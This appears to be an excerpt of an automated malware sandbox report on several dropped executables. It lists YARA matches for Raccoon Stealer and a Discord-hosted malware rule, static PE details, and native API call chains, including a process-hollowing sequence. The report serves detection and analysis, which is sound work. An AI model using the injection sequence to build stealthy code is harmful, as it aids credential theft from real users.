Source: Yara match	File source: 0.2.y8WngeDn4q.exe.47615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.y8WngeDn4q.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.8908.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.esdfufc.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.8908.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.1.esdfufc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.4EDC.exe.3090000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.4EDC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.esdfufc.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.8908.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.412091703.0000000002091000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.482521678.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.558722900.00000000048B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.394109827.0000000002801000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.530637179.0000000004B61000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.529516403.0000000003090000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.411806433.0000000000500000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.511213614.0000000003090000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.482408758.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.559098642.00000000049E1000.00000004.00020000.sdmp, type: MEMORY

Source: 6E1E.exe, 0000001B.00000002.558082279.0000000002DDA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 29.3.E4D7.exe.48e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.E4D7.exe.48e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.E4D7.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.E4D7.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000002.649599129.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.553896826.00000000048E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E4D7.exe PID: 6552, type: MEMORYSTR

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 3FD8.exe.6.dr, ???????????????.cs	Large array initialization: System.Byte[] ???????????????::???????????????: array initializer size 8704
Source: D083.exe.6.dr, ue60aue64bue63aue60cue62cue60aue610ue60fue63aue63due63aue60bue61cue63cue623.cs	Large array initialization: System.Byte[] ???????????????::???????????????: array initializer size 8704

Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C022430	22_2_6C022430
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4496	22_2_6C0C4496
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00EC9B	22_2_6C00EC9B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C000D20	22_2_6C000D20
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C022D50	22_2_6C022D50
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D1D55	22_2_6C0D1D55
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0335D0	22_2_6C0335D0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C026E30	22_2_6C026E30
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C08AE60	22_2_6C08AE60
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D2EF7	22_2_6C0D2EF7
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C032F70	22_2_6C032F70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C67E2	22_2_6C0C67E2
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BE7FF	22_2_6C0BE7FF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C006800	22_2_6C006800
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1002	22_2_6C0C1002
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A830	22_2_6C02A830
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C038840	22_2_6C038840
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01B090	22_2_6C01B090
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C024120	22_2_6C024120
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C022990	22_2_6C022990
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0299BF	22_2_6C0299BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BFA2B	22_2_6C0BFA2B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D32A9	22_2_6C0D32A9
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0CE2C5	22_2_6C0CE2C5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4AEF	22_2_6C0C4AEF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02AB40	22_2_6C02AB40
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C023360	22_2_6C023360
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0AEB8A	22_2_6C0AEB8A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03EBB0	22_2_6C03EBB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03ABD8	22_2_6C03ABD8
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0B23E3	22_2_6C0B23E3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C058BE8	22_2_6C058BE8
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_004368D0	27_2_004368D0
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_0041EDCE	27_2_0041EDCE

Source: 4EDC.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4EDC.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4EDC.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4EDC.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4EDC.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4EDC.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4EDC.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C651.exe.6.dr	Static PE information: Resource name: RT_CURSOR type: GLS_BINARY_LSB_FIRST
Source: C651.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C651.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C651.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C651.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C651.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: E11F.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: E11F.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: csdfufc.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: csdfufc.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: csdfufc.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: csdfufc.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: csdfufc.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: csdfufc.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: csdfufc.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AdvancedRun.exe.19.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AdvancedRun.exe.19.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe

Section loaded: taskschd.dll

Jump to behavior

Source: y8WngeDn4q.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 24.0.60DF.exe.440000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.60DF.exe.440000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 21.0.3FD8.exe.2f0000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 21.0.3FD8.exe.2f0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 43.0.D083.exe.720000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 43.0.D083.exe.720000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 21.0.3FD8.exe.2f0000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 21.0.3FD8.exe.2f0000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 19.0.37D8.exe.ff0000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.60DF.exe.440000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 43.2.D083.exe.720000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 19.0.37D8.exe.ff0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 43.0.D083.exe.720000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.60DF.exe.440000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 19.0.37D8.exe.ff0000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 43.0.D083.exe.720000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 19.0.37D8.exe.ff0000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\60DF.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\D083.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\FC0C.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\37D8.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =

Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: String function: 0041D100 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: String function: 004212E0 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: String function: 6C095720 appears 76 times
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: String function: 6C00B150 appears 128 times
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: String function: 6C05D08C appears 41 times
Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe	Code function: String function: 0040B550 appears 50 times

Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 0_2_04760110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	0_2_04760110
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 3_2_0040185B Sleep,NtTerminateProcess,	3_2_0040185B
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 3_2_00401866 Sleep,NtTerminateProcess,	3_2_00401866
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 3_2_0040187A Sleep,NtTerminateProcess,	3_2_0040187A
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 3_2_0040163B NtMapViewOfSection,	3_2_0040163B
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 3_2_004018D3 NtTerminateProcess,	3_2_004018D3
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 3_2_00401884 Sleep,NtTerminateProcess,	3_2_00401884
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 3_2_00401888 NtTerminateProcess,	3_2_00401888
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 3_2_0040156A NtMapViewOfSection,	3_2_0040156A
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 3_2_004015DB NtMapViewOfSection,NtMapViewOfSection,	3_2_004015DB
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 3_2_004017EA Sleep,NtTerminateProcess,	3_2_004017EA
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 3_1_0040156A NtMapViewOfSection,	3_1_0040156A
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 3_1_004015DB NtMapViewOfSection,NtMapViewOfSection,	3_1_004015DB
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 3_1_0040163B NtMapViewOfSection,	3_1_0040163B
Source: C:\Users\user\AppData\Roaming\esdfufc	Code function: 12_2_02CB0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	12_2_02CB0110
Source: C:\Users\user\AppData\Local\Temp\8908.exe	Code function: 13_2_02B60110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	13_2_02B60110
Source: C:\Users\user\AppData\Roaming\esdfufc	Code function: 14_2_0040185B Sleep,NtTerminateProcess,	14_2_0040185B
Source: C:\Users\user\AppData\Roaming\esdfufc	Code function: 14_2_00401866 Sleep,NtTerminateProcess,	14_2_00401866
Source: C:\Users\user\AppData\Roaming\esdfufc	Code function: 14_2_0040187A Sleep,NtTerminateProcess,	14_2_0040187A
Source: C:\Users\user\AppData\Roaming\esdfufc	Code function: 14_2_0040163B NtMapViewOfSection,	14_2_0040163B
Source: C:\Users\user\AppData\Roaming\esdfufc	Code function: 14_2_004018D3 NtTerminateProcess,	14_2_004018D3
Source: C:\Users\user\AppData\Roaming\esdfufc	Code function: 14_2_00401884 Sleep,NtTerminateProcess,	14_2_00401884
Source: C:\Users\user\AppData\Roaming\esdfufc	Code function: 14_2_00401888 NtTerminateProcess,	14_2_00401888
Source: C:\Users\user\AppData\Roaming\esdfufc	Code function: 14_2_0040156A NtMapViewOfSection,	14_2_0040156A
Source: C:\Users\user\AppData\Roaming\esdfufc	Code function: 14_2_004015DB NtMapViewOfSection,NtMapViewOfSection,	14_2_004015DB
Source: C:\Users\user\AppData\Roaming\esdfufc	Code function: 14_2_004017EA Sleep,NtTerminateProcess,	14_2_004017EA
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_0040181C Sleep,NtTerminateProcess,	22_2_0040181C
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00402406 NtEnumerateKey,	22_2_00402406
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00401F25 NtQuerySystemInformation,	22_2_00401F25
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00401828 Sleep,NtTerminateProcess,	22_2_00401828
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00402431 NtEnumerateKey,	22_2_00402431
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_004017DA Sleep,NtTerminateProcess,	22_2_004017DA
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_004017F8 NtTerminateProcess,	22_2_004017F8
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_0040209A NtQuerySystemInformation,	22_2_0040209A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_004017A3 Sleep,NtTerminateProcess,	22_2_004017A3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049600 ZwOpenKey,LdrInitializeThunk,	22_2_6C049600
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049660 ZwAllocateVirtualMemory,LdrInitializeThunk,	22_2_6C049660
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04967A NtQueryInformationProcess,LdrInitializeThunk,	22_2_6C04967A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049780 ZwMapViewOfSection,LdrInitializeThunk,	22_2_6C049780
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049820 ZwEnumerateKey,LdrInitializeThunk,	22_2_6C049820
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049860 ZwQuerySystemInformation,LdrInitializeThunk,	22_2_6C049860
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0498C0 ZwDuplicateObject,LdrInitializeThunk,	22_2_6C0498C0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0499A0 ZwCreateSection,LdrInitializeThunk,	22_2_6C0499A0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C040413 ZwUnmapViewOfSection,	22_2_6C040413
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8C14 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0D8C14
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1411 ZwTraceEvent,	22_2_6C0C1411
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00E420 RtlpLoadUserUIByPolicy,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlpLoadUserUIByPolicy,ZwClose,	22_2_6C00E420
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04A420 ZwGetNlsSectionPtr,	22_2_6C04A420
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02FC39 ZwAssociateWaitCompletionPacket,	22_2_6C02FC39
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C091C49 ZwQueryInformationProcess,	22_2_6C091C49
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049C40 ZwAllocateVirtualMemoryEx,	22_2_6C049C40
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C005450 RtlClearThreadWorkOnBehalfTicket,memcmp,RtlClearThreadWorkOnBehalfTicket,ZwSetInformationThread,	22_2_6C005450
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0B3C60 RtlFlushSecureMemoryCache,ZwQueryVirtualMemory,	22_2_6C0B3C60
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02746D RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	22_2_6C02746D
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049C70 ZwAlpcConnectPort,	22_2_6C049C70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C045C70 TpSetPoolMaxThreadsSoftLimit,ZwSetInformationWorkerFactory,	22_2_6C045C70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03AC7B ZwFreeVirtualMemory,RtlFillMemoryUlong,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,DbgPrint,DbgPrint,DbgPrint,	22_2_6C03AC7B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8C75 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0D8C75
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C091C76 ZwQueryInformationProcess,	22_2_6C091C76
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04A480 ZwInitializeNlsFiles,	22_2_6C04A480
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4496 ZwAllocateVirtualMemory,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,	22_2_6C0C4496
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C083C93 wcschr,RtlInitUnicodeString,wcstoul,RtlAnsiStringToUnicodeString,RtlCompareUnicodeString,ZwProtectVirtualMemory,DbgPrintEx,RtlFreeUnicodeString,	22_2_6C083C93
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00EC9B RtlInitUnicodeString,ZwOpenKey,RtlpLoadUserUIByPolicy,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlFreeHeap,ZwClose,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlAllocateHeap,RtlpLoadMachineUIByPolicy,ZwClose,	22_2_6C00EC9B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C040CA1 ZwQuerySecurityAttributesToken,ZwQuerySecurityAttributesToken,ZwQuerySecurityAttributesToken,	22_2_6C040CA1
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D4CAB ZwTraceControl,	22_2_6C0D4CAB
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D9CB3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0D9CB3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03CCC0 memcpy,RtlGetNtSystemRoot,RtlInitUnicodeString,memcpy,ZwOpenKey,ZwClose,ZwEnumerateKey,DbgPrintEx,DbgPrintEx,DbgPrintEx,	22_2_6C03CCC0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04A4C0 ZwIsUILanguageComitted,	22_2_6C04A4C0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002CDB RtlFreeHeap,ZwClose,ZwSetEvent,	22_2_6C002CDB
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8CD6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0D8CD6
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00F4E3 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,	22_2_6C00F4E3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C091CE4 ZwQueryInformationProcess,	22_2_6C091CE4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0B64FB ZwOpenKey,ZwQueryValueKey,RtlEqualUnicodeString,RtlEqualUnicodeString,RtlEqualUnicodeString,ZwClose,	22_2_6C0B64FB
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C14FB memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0C14FB
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C091D0B ZwSetInformationProcess,	22_2_6C091D0B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04AD10 ZwSetCachedSigningLevel,	22_2_6C04AD10
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C031520 RtlInitializeCriticalSectionEx,RtlInitializeCriticalSectionEx,RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C031520
